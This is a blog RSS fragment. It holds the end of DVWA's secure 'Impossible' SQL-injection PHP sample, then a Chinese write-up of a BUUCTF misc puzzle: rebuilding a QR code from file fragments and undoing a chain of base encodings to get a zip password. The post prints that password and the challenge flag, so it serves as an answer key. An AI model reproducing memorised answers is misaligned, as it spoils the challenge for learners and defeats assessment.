</span></span></span></code></pre></td></tr></table>
</div>
</div><h3 id="impossible">Impossible</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span> <span class="nx">isset</span><span class="p">(</span> <span class="nv">$_GET</span><span class="p">[</span> <span class="s1">&#39;Submit&#39;</span> <span class="p">]</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// Check Anti-CSRF token
</span></span></span><span class="line"><span class="cl">    <span class="nx">checkToken</span><span class="p">(</span> <span class="nv">$_REQUEST</span><span class="p">[</span> <span class="s1">&#39;user_token&#39;</span> <span class="p">],</span> <span class="nv">$_SESSION</span><span class="p">[</span> <span class="s1">&#39;session_token&#39;</span> <span class="p">],</span> <span class="s1">&#39;index.php&#39;</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// Get input
</span></span></span><span class="line"><span class="cl">    <span class="nv">$id</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span> <span class="s1">&#39;id&#39;</span> <span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// Was a number entered?
</span></span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="nx">is_numeric</span><span class="p">(</span> <span class="nv">$id</span> <span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">       <span class="c1">// Check the database
</span></span></span><span class="line"><span class="cl">       <span class="nv">$data</span> <span class="o">=</span> <span class="nv">$db</span><span class="o">-&gt;</span><span class="na">prepare</span><span class="p">(</span> <span class="s1">&#39;SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;&#39;</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">       <span class="nv">$data</span><span class="o">-&gt;</span><span class="na">bindParam</span><span class="p">(</span> <span class="s1">&#39;:id&#39;</span><span class="p">,</span> <span class="nv">$id</span><span class="p">,</span> <span class="nx">PDO</span><span class="o">::</span><span class="na">PARAM_INT</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">       <span class="nv">$data</span><span class="o">-&gt;</span><span class="na">execute</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">       <span class="nv">$row</span> <span class="o">=</span> <span class="nv">$data</span><span class="o">-&gt;</span><span class="na">fetch</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">       <span class="c1">// Make sure only 1 result is returned
</span></span></span><span class="line"><span class="cl">       <span class="k">if</span><span class="p">(</span> <span class="nv">$data</span><span class="o">-&gt;</span><span class="na">rowCount</span><span class="p">()</span> <span class="o">==</span> <span class="mi">1</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="c1">// Get values
</span></span></span><span class="line"><span class="cl">          <span class="nv">$first</span> <span class="o">=</span> <span class="nv">$row</span><span class="p">[</span> <span class="s1">&#39;first_name&#39;</span> <span class="p">];</span>
</span></span><span class="line"><span class="cl">          <span class="nv">$last</span>  <span class="o">=</span> <span class="nv">$row</span><span class="p">[</span> <span class="s1">&#39;last_name&#39;</span> <span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">          <span class="c1">// Feedback for end user
</span></span></span><span class="line"><span class="cl">          <span class="nv">$html</span> <span class="o">.=</span> <span class="s2">&#34;&lt;pre&gt;ID: </span><span class="si">{</span><span class="nv">$id</span><span class="si">}</span><span class="s2">&lt;br /&gt;First name: </span><span class="si">{</span><span class="nv">$first</span><span class="si">}</span><span class="s2">&lt;br /&gt;Surname: </span><span class="si">{</span><span class="nv">$last</span><span class="si">}</span><span class="s2">&lt;/pre&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">       <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// Generate Anti-CSRF token
</span></span></span><span class="line"><span class="cl"><span class="nx">generateSessionToken</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded>
    </item>
    <item>
      <title>BUUCTF [安洵杯 2019]吹着贝斯扫二维码 1</title>
      <link>https://yuexuan521.github.io/zh/posts/buuctf-%E5%AE%89%E6%B4%B5%E6%9D%AF-2019%E5%90%B9%E7%9D%80%E8%B4%9D%E6%96%AF%E6%89%AB%E4%BA%8C%E7%BB%B4%E7%A0%81-1/</link>
      <pubDate>Wed, 21 Feb 2024 20:18:10 +0000</pubDate>
      <guid>https://yuexuan521.github.io/zh/posts/buuctf-%E5%AE%89%E6%B4%B5%E6%9D%AF-2019%E5%90%B9%E7%9D%80%E8%B4%9D%E6%96%AF%E6%89%AB%E4%BA%8C%E7%BB%B4%E7%A0%81-1/</guid>
      <description>&lt;p&gt;
&lt;div class=&#34;post-img-view&#34;&gt;
    &lt;a data-fancybox=&#34;gallery&#34; href=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835644.png&#34;&gt;
        &lt;img src=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835644.png&#34; 
             alt=&#34;&#34; 
              
             loading=&#34;lazy&#34;
        /&gt;
    &lt;/a&gt;
&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BUUCTF: &lt;a href=&#34;https://buuoj.cn/challenges&#34;target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&gt;https://buuoj.cn/challenges&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;相关阅读
&lt;a href=&#34;https://ctf-wiki.org/&#34;target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&gt;CTF Wiki&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;
&lt;div class=&#34;post-img-view&#34;&gt;
    &lt;a data-fancybox=&#34;gallery&#34; href=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835645.png&#34;&gt;
        &lt;img src=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835645.png&#34; 
             alt=&#34;在这里插入图片描述&#34; 
              
             loading=&#34;lazy&#34;
        /&gt;
    &lt;/a&gt;
&lt;/div&gt;&lt;/p&gt;
&lt;h3 id=&#34;题目描述&#34;&gt;题目描述：&lt;/h3&gt;
&lt;p&gt;得到的 flag 请包上 flag{} 提交。&lt;/p&gt;
&lt;h3 id=&#34;密文&#34;&gt;密文：&lt;/h3&gt;
&lt;p&gt;下载附件解压，得到很多没有后缀的文件和一个ZIP压缩包。&lt;/p&gt;
&lt;p&gt;
&lt;div class=&#34;post-img-view&#34;&gt;
    &lt;a data-fancybox=&#34;gallery&#34; href=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835646.png&#34;&gt;
        &lt;img src=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835646.png&#34; 
             alt=&#34;在这里插入图片描述&#34; 
              
             loading=&#34;lazy&#34;
        /&gt;
    &lt;/a&gt;
&lt;/div&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&#34;解题思路&#34;&gt;解题思路：&lt;/h3&gt;
&lt;p&gt;1、首先，查看ZIP压缩包，发现有密码，并且在压缩包的注释找到疑似被加密的压缩包密码，初步解密失败。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835644.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835644.png" 
             alt="" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p><strong>BUUCTF: <a href="https://buuoj.cn/challenges"target="_blank" rel="noopener noreferrer">https://buuoj.cn/challenges</a></strong></p>
<hr>
<p>相关阅读
<a href="https://ctf-wiki.org/"target="_blank" rel="noopener noreferrer">CTF Wiki</a></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835645.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835645.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<h3 id="题目描述">题目描述：</h3>
<p>得到的 flag 请包上 flag{} 提交。</p>
<h3 id="密文">密文：</h3>
<p>下载附件解压，得到很多没有后缀的文件和一个ZIP压缩包。</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835646.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835646.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<hr>
<h3 id="解题思路">解题思路：</h3>
<p>1、首先，查看ZIP压缩包，发现有密码，并且在压缩包的注释找到疑似被加密的压缩包密码，初步解密失败。</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835647.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835647.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">GNATOMJVIQZUKNJXGRCTGNRTGI3EMNZTGNBTKRJWGI2UIMRRGNBDEQZWGI3DKMSFGNCDMRJTII3TMNBQGM4TERRTGEZTOMRXGQYDGOBWGI2DCNBY
</span></span></code></pre></td></tr></table>
</div>
</div><p>查看其他的无后缀文件，在010Editor中观察到jpg文件的文件头，猜测为jpg文件。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">JPEG <span class="o">(</span>jpg<span class="o">)</span> 　　文件头：FF D8 FF　　 文件尾：FF D9
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835648.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835648.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>修改文件后缀为.jpg，发现是二维码的一部分，其他文件是一样的，共36个二维码碎片。</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835649.jpeg">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835649.jpeg" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>2、二维码应该存在解开压缩包的线索。先将所有的无后缀文件改为.jpg文件，可以手动添加，也可以使用python脚本完成。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1">#coding=UTF-8</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">os</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">path</span> <span class="o">=</span> <span class="s1">&#39;D:</span><span class="se">\\</span><span class="s1">CTF</span><span class="se">\\</span><span class="s1">CTF_topic</span><span class="se">\\</span><span class="s1">吹着贝斯扫二维码&#39;</span>   <span class="c1"># 需要添加后缀的文件路径</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="s1">&#39;D:</span><span class="se">\\</span><span class="s1">CTF</span><span class="se">\\</span><span class="s1">CTF_topic</span><span class="se">\\</span><span class="s1">吹着贝斯扫二维码&#39;</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span> <span class="n">i</span> <span class="o">==</span> <span class="s1">&#39;flag.zip&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">		<span class="k">continue</span>
</span></span><span class="line"><span class="cl">	<span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">		<span class="n">oldname</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="n">newname</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">i</span><span class="o">+</span><span class="s1">&#39;.jpg&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="n">os</span><span class="o">.</span><span class="n">rename</span><span class="p">(</span><span class="n">oldname</span><span class="p">,</span> <span class="n">newname</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>然后，使用Ps软件将所有二维码碎片组合起来，恢复原有的二维码，跟玩拼图一样。（但是真的很慢）</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835650.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835650.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>3、扫描二维码，得到加密字符串的加密顺序，如下：</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835651.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835651.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>加密顺序：base85 &raquo; base64 &raquo; base85 &raquo; rot13 &raquo; base16 &raquo; base32</p>
<p>解密只需要按照加密顺序反转进行解密就可以啦</p>
<p>解密顺序：base32 &raquo; base16 &raquo; rot13 &raquo; base85 &raquo; base64 &raquo; base85</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">GNATOMJVIQZUKNJXGRCTGNRTGI3EMNZTGNBTKRJWGI2UIMRRGNBDEQZWGI3DKMSFGNCDMRJTII3TMNBQGM4TERRTGEZTOMRXGQYDGOBWGI2DCNBY
</span></span></code></pre></td></tr></table>
</div>
</div><p><strong>base32</strong> <a href="https://the-x.cn/encodings/Base32.aspx"target="_blank" rel="noopener noreferrer">https://the-x.cn/encodings/Base32.aspx</a></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">3A715D3E574E36326F733C5E625D213B2C62652E3D6E3B7640392F3137274038624148
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835652.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835652.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p><strong>base16</strong> <a href="https://www.qqxiuzi.cn/bianma/base.php?type=16"target="_blank" rel="noopener noreferrer">https://www.qqxiuzi.cn/bianma/base.php?type=16</a></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">:q<span class="o">]</span>&gt;WN62os&lt;^b<span class="o">]</span>!<span class="p">;</span>,be.<span class="o">=</span>n<span class="p">;</span>v@9/17<span class="err">&#39;</span>@8bAH
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835653.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835653.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p><strong>rot13</strong> <a href="https://lzltool.cn/Tools/Rot13"target="_blank" rel="noopener noreferrer">https://lzltool.cn/Tools/Rot13</a></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">:d<span class="o">]</span>&gt;JA62bf&lt;^o<span class="o">]</span>!<span class="p">;</span>,or.<span class="o">=</span>a<span class="p">;</span>i@9/17<span class="err">&#39;</span>@8oNU
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835654.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835654.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p><strong>base85</strong> <a href="http://www.atoolbox.net/Tool.php?Id=934"target="_blank" rel="noopener noreferrer">http://www.atoolbox.net/Tool.php?Id=934</a></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nv">PCtvdWU4VFJnQUByYy4mK1lraTA</span><span class="o">=</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835655.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835655.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p><strong>base64</strong> <a href="https://base64.supfree.net/"target="_blank" rel="noopener noreferrer">https://base64.supfree.net/</a></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">&lt;+oue8TRgA@rc.<span class="p">&amp;</span>+Yki0
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835656.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835656.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p><strong>base85</strong> （解密需使用ASCII85编码标准） <a href="http://www.hiencode.com/base85.html"target="_blank" rel="noopener noreferrer">http://www.hiencode.com/base85.html</a></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">ThisIsSecret!233
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835657.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835657.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835658.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835658.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>4、得到明文，使用它解压压缩包，得到flag.txt文件。</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835659.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228173835659.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<h3 id="flag">flag：</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">flag<span class="o">{</span>Qr_Is_MeAn1nGfuL<span class="o">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded>
    </item>
  </channel>
</rss>
